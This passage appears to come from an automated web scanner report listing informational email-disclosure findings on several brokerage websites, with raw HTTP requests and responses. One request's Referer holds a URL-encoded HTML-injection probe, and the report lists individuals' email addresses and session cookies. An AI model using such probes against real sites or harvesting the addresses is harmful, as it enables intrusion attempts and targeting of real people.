Set-Cookie: URL_PARAM=actiongetProps=getProps&language=en&propFile=SSO_Login_v1; Domain=.interactivebrokers.com; Path=/; Secure
Set-Cookie: JSESSIONID=9F9B2D7574B5351AF34CCC2ECB08A3F1.wwwsso3; Path=/sso; Secure
Content-Length: 1484
Connection: close
Content-Type: text/html;charset=UTF-8

ActTrader{%}Active Trader{@}etLogin{%}EmployeeTrack Management Login{@}toStartNewAppln{%}To start a new application, <A HREF='http://www.interactivebrokers.com/en/main.php' TARGET='_top'>click here</A
...[SNIP]...
<a href='mailto:ibtradingolympiad@interactivebrokers.com?subject=Lost Password'>ibtradingolympiad@interactivebrokers.com</a>
...[SNIP]...

20.41. https://www.interactivebrokers.com/sso/Templates/javascript/sha1.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.interactivebrokers.com
Path:	/sso/Templates/javascript/sha1.js

Issue detail

The following email address was disclosed in the response:

tjw@cs.stanford.edu

Request

GET /sso/Templates/javascript/sha1.js HTTP/1.1
Host: www.interactivebrokers.com
Connection: keep-alive
Referer: https://www.interactivebrokers.com/sso/Login?forwardTo=1d4554%22%3E%3Ca%20b%3dc%3E858eb6fd52c
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=08546737D95F44C0653B32581EDE3A9E.wwwsso3; ib=googlead; web=1059282; XYZAB_AM.LOGIN=; XYZAB=; URL_PARAM=forwardTo=1d4554a20b3dc858eb6fd52c

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:52:25 GMT
Server: Apache
Last-Modified: Wed, 17 Aug 2011 15:28:20 GMT
ETag: "5580e3-10e1-2564ad00"
Accept-Ranges: bytes
Content-Length: 4321
Connection: close
Content-Type: application/x-javascript

/*
* A JavaScript implementation of the Secure Hash Algorithm, SHA-1, as defined
* in FIPS PUB 180-1
* Copyright (C) Paul Johnston 2000.
* See http://pajhome.org.uk/site/legal.html for details.
*/
/*
* Modified by Tom Wu (tjw@cs.stanford.edu) for the
* XYZ JavaScript implementation.
*/

/*
* Convert a 32-bit number to a hex string with ms-byte first
*/
var hex_chr = "0123456789abcdef";
function hex(num)
{
var str = "";

...[SNIP]...

20.42. http://www.optionsxpress.com/about_us/pricing_commissions.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/about_us/pricing_commissions.aspx

Issue detail

The following email address was disclosed in the response:

aeicker@optionsxpress.com

Request

GET /about_us/pricing_commissions.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

20.43. http://www.optionsxpress.com/inc/general.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/inc/general.js

Issue detail

The following email address was disclosed in the response:

nbourgeois@optionsxpress.com

Request

Response

HTTP/1.1 200 OK
Content-Length: 353785
Content-Type: application/x-javascript
Last-Modified: Tue, 31 May 2011 14:21:06 GMT
Accept-Ranges: bytes
ETag: "5ccde7fa9d1fcc1:1c1f"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=1F7A609F4712C324D98618822A48CA7B; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:24:38 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

// SV 5/16/08 cdn_path is the url of the akamai servers. this checks to see if the cdn_path is defined on the page, and if not assignes it a value of null
try {
   if(cdn_path) {
       // do nothing
   }
...[SNIP]...
<nbourgeois@optionsxpress.com>
...[SNIP]...

20.44. http://www.optionsxpress.com/inc/js/library.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/inc/js/library.js

Issue detail

The following email address was disclosed in the response:

nbourgeois@optionsxpress.com

Request

Response

HTTP/1.1 200 OK
Content-Length: 248416
Content-Type: application/x-javascript
Last-Modified: Fri, 13 May 2011 19:11:26 GMT
Accept-Ranges: bytes
ETag: "0c3328ea111cc1:1878"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=160C0A0240749D5BBE2BCAB62A01C888; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:24:38 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

/*
* jQuery JavaScript Library v1.5.2
* http://jquery.com/
*/
(function(a,b){function ci(a){return d.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cf(a){if(!b_[a]){var
...[SNIP]...
<nbourgeois@optionsxpress.com>
...[SNIP]...
<nbourgeois@optionsxpress.com>
...[SNIP]...
<nbourgeois@optionsxpress.com>
...[SNIP]...
<nbourgeois@optionsxpress.com>
...[SNIP]...
<nbourgeois@optionsxpress.com>
...[SNIP]...
<nbourgeois@optionsxpress.com>
...[SNIP]...
<nbourgeois@optionsxpress.com>
...[SNIP]...

20.45. http://www.optionsxpress.com/inc/js/stats.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/inc/js/stats.js

Issue detail

The following email address was disclosed in the response:

id@Vs.tc

Request

Response

HTTP/1.1 200 OK
Content-Length: 35213
Content-Type: application/x-javascript
Last-Modified: Wed, 30 Mar 2011 16:30:04 GMT
Accept-Ranges: bytes
ETag: "0ce19b9f7eecb1:1003"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=A8A1FAB14569D172B2EDD88EE7023B03; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:24:37 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

function omniAccount(){ // determines account numbers in omniture based on firm type
   switch(oxVars.firm) {
       case 'OX':
           oxVars.stat_account = 'oxpressprodus'; // oxpressdev
           break;
       case '
...[SNIP]...
=s.mr($C,(vt@tt`Zvt)`fs.hav()+q+(qs?qs:s.rq(^5)),0,id,ta);qs`g;"
+"`Rm('t')`5s.p_r)s.p_r(`I`a`g}^I(qs);^Q`u($3;`j$3`c^1,`G$O1',vb`I@M=^G=s.`Q`r=s.`Q^2=`H`m`g`5s.pg)`H^w@M=`H^weo=`H^w`Q`r=`H^w`Q^2`g`5!id@Vs.tc^ztc=1;s.flush`U()}`4#7`Ctl`0o,t,n,vo`2;s.@M=$Go`I`Q^2=t"
+";s.`Q`r=n;s.t($3}`5pg){`H^wco`0o){`P^s\"_\",1,$8`4$Go)`Cwd^wgs`0u@v`P^sun,1,$8`4s.t()`Cwd^wdc`0u@v`P^sun,$8`4s.t()}}@8=(`H`M`k`9`3'@Os^y0`Id
...[SNIP]...

20.46. https://www.optionsxpress.com/welcome.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.optionsxpress.com
Path:	/welcome.asp

Issue detail

The following email addresses were disclosed in the response:

plrfeedback@optionsxpress.com
retention@optionsxpress.com

Request

GET /welcome.asp?PageID=customerservice HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Thu, 08 Sep 2011 19:47:33 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 24840
Content-Type: text/html
Expires: Thu, 08 Sep 2011 19:47:33 GMT
Cache-control: private
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>optionsXpress | Email Customer Service</title>

<META HTTP-EQUIV="Cont
...[SNIP]...
rn sReturnURL;
}

function loadFunction() {
   checkMYOX();
   sURL = window.location.search.substring(1);
   if (sURL.indexOf('src=plr') != -1){
       document.frmCustServiceEmail.txtEmailTo.value = "plrfeedback@optionsxpress.com";
   } else {
       document.frmCustServiceEmail.txtEmailTo.value = "retention@optionsxpress.com";
   }
   document.frmCustServiceEmail.txtEmailTo.disabled=true;
   CheckCommType();
}

//<!-- Begin
function CalDate()
{
var months=new Array(13);
months[1]="January";
months[2]="February";
mon
...[SNIP]...
tionality.';
   }
}

function switchEmailAddress() {
   sURL = window.location.search.substring(1);
   if (sURL.indexOf('src=plr') != -1){
       document.frmCustServiceEmail.txtOptionsXpressMail.value = "plrfeedback@optionsxpress.com";
   } else {
       document.frmCustServiceEmail.txtOptionsXpressMail.value = "retention@optionsxpress.com";
   }
}
</script>
...[SNIP]...

20.47. http://www.pfgbest.com/common/js/script.aculo.us/dragdrop.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pfgbest.com
Path:	/common/js/script.aculo.us/dragdrop.js

Issue detail

The following email address was disclosed in the response:

sammi@oriontransfer.co.nz

Request

GET /common/js/script.aculo.us/dragdrop.js HTTP/1.1
Host: www.pfgbest.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.pfgbest.com/toolkit/
Cookie: ASPSESSIONIDACDDCDRR=GMCKIFEAHAFIIICJFKHJFNFB

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
X-Powered-By: ASP.NET
X-UA-Compatible: IE=EmulateIE7
Date: Thu, 08 Sep 2011 20:04:57 GMT
Content-Type: application/x-javascript
Accept-Ranges: bytes
Last-Modified: Wed, 18 Jun 2008 16:02:17 GMT
ETag: "82f90ae5cd1c81:a7d"
Content-Length: 30531

// Copyright (c) 2005 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
// (c) 2005 Sammi Williams (http://www.oriontransfer.co.nz, sammi@oriontransfer.co.nz)
//
// See scriptaculous.js for full license.

/*--------------------------------------------------------------------------*/

var Droppables = {
drops: [],

remove: function(element) {
...[SNIP]...

20.48. http://www.pfgbest.com/common/js/script.aculo.us/prototype.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pfgbest.com
Path:	/common/js/script.aculo.us/prototype.js

Issue detail

The following email address was disclosed in the response:

sam@conio.net

Request

GET /common/js/script.aculo.us/prototype.js HTTP/1.1
Host: www.pfgbest.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.pfgbest.com/toolkit/
Cookie: ASPSESSIONIDACDDCDRR=GMCKIFEAHAFIIICJFKHJFNFB

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
X-Powered-By: ASP.NET
X-UA-Compatible: IE=EmulateIE7
Date: Thu, 08 Sep 2011 20:04:55 GMT
Content-Type: application/x-javascript
Accept-Ranges: bytes
Last-Modified: Wed, 18 Jun 2008 16:02:18 GMT
ETag: "5bb5d7ae5cd1c81:a7d"
Content-Length: 57154

/* Prototype JavaScript framework, version 1.5.0_rc0
* (c) 2005 Sam Stephenson <sam@conio.net>
*
* Prototype is freely distributable under the terms of an MIT-style license.
* For details,
...[SNIP]...

20.49. http://www.pfgbest.com/link/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pfgbest.com
Path:	/link/

Issue detail

The following email addresses were disclosed in the response:

CustomerService@PFGBEST.com
jlewandowskij@pfgbest.com
joconnell@pfgbest.com

Request

GET /link/ HTTP/1.1
Host: www.pfgbest.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Thu, 08 Sep 2011 19:47:15 GMT
X-Powered-By: ASP.NET
X-UA-Compatible: IE=EmulateIE7
Connection: close
Content-Length: 60963
Content-Type: text/html
Expires: Thu, 08 Sep 2011 19:47:16 GMT
Cache-control: private

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Cont
...[SNIP]...
<a href="/contact/">CustomerService@PFGBEST.com</a>
...[SNIP]...
<a href="/worldcup/?LSD=webmktg_WCC_homepage_banner&LSC=PFG%20Web%20Site&BEM=joconnell@pfgbest.com&BID=Managed%20Futures%20Division">
...[SNIP]...
<a href="/services/options/room/?LSD=webmktg_homepage_banner&LSC=PFG%20Web%20Site&BEM=jlewandowskij@pfgbest.com&BID=The%20Options%20Room">
...[SNIP]...

20.50. http://www.transworldfutures.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.transworldfutures.com
Path:	/

Issue detail

The following email addresses were disclosed in the response:

info@transworldfutures.com
jim@transworldfutures.com
jp@miamiweb.org

Request

GET / HTTP/1.1
Host: www.transworldfutures.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=futures+trading
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:24:57 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.8
X-Powered-By: PHP/5.2.8
Connection: close
Content-Type: text/html
Content-Length: 30238

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Con
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" onmouseout="MM_swapImgRestore()" onmouseover="MM_swapImage('Image19','','images/freetraders.jpg',1)">
...[SNIP]...
<input type="hidden" value="info@transworldfutures.com" name="receiver" />
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<input type="hidden" value="jp@miamiweb.org" name="receiver" />
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...

20.51. http://www.transworldfutures.com/Commodity.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.transworldfutures.com
Path:	/Commodity.html

Issue detail

The following email addresses were disclosed in the response:

info@transworldfutures.com
jim@transworldfutures.com

Request

GET /Commodity.html HTTP/1.1
Host: www.transworldfutures.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:48:47 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.8
X-Powered-By: PHP/5.2.8
Connection: close
Content-Type: text/html
Content-Length: 27941

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Con
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...

20.52. http://www.transworldfutures.com/about.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.transworldfutures.com
Path:	/about.html

Issue detail

The following email addresses were disclosed in the response:

info@transworldfutures.com
jim@transworldfutures.com

Request

GET /about.html HTTP/1.1
Host: www.transworldfutures.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:48:45 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.8
X-Powered-By: PHP/5.2.8
Connection: close
Content-Type: text/html
Content-Length: 25030

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Con
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="mailto:info@transworldfutures.com">info@transworldfutures.com</a>
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...

20.53. http://www.transworldfutures.com/account-types.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.transworldfutures.com
Path:	/account-types.html

Issue detail

The following email addresses were disclosed in the response:

info@transworldfutures.com
jim@transworldfutures.com

Request

GET /account-types.html HTTP/1.1
Host: www.transworldfutures.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:48:45 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.8
X-Powered-By: PHP/5.2.8
Connection: close
Content-Type: text/html
Content-Length: 24937

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Con
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="mailto:info@transworldfutures.com">info@transworldfutures.com</a>
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...

20.54. http://www.transworldfutures.com/accountstatement.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.transworldfutures.com
Path:	/accountstatement.html

Issue detail

The following email addresses were disclosed in the response:

info@transworldfutures.com
jim@transworldfutures.com
rob@transworldfutures.com

Request

GET /accountstatement.html HTTP/1.1
Host: www.transworldfutures.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:48:49 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.8
X-Powered-By: PHP/5.2.8
Connection: close
Content-Type: text/html
Content-Length: 27581

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Con
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<input type="hidden" value="jim@transworldfutures.com,rob@transworldfutures.com" name="receiver" />
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...

20.55. http://www.transworldfutures.com/best_direct.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.transworldfutures.com
Path:	/best_direct.html

Issue detail

The following email addresses were disclosed in the response:

info@transworldfutures.com
jim@transworldfutures.com
rob@transworldfutures.com

Request

GET /best_direct.html HTTP/1.1
Host: www.transworldfutures.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:48:49 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.8
X-Powered-By: PHP/5.2.8
Connection: close
Content-Type: text/html
Content-Length: 28763

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<input type="hidden" value="jim@transworldfutures.com,rob@transworldfutures.com" name="receiver" />
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...

20.56. http://www.transworldfutures.com/best_direct_MT4.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.transworldfutures.com
Path:	/best_direct_MT4.html

Issue detail

The following email addresses were disclosed in the response:

info@transworldfutures.com
jim@transworldfutures.com

Request

GET /best_direct_MT4.html HTTP/1.1
Host: www.transworldfutures.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:48:49 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.8
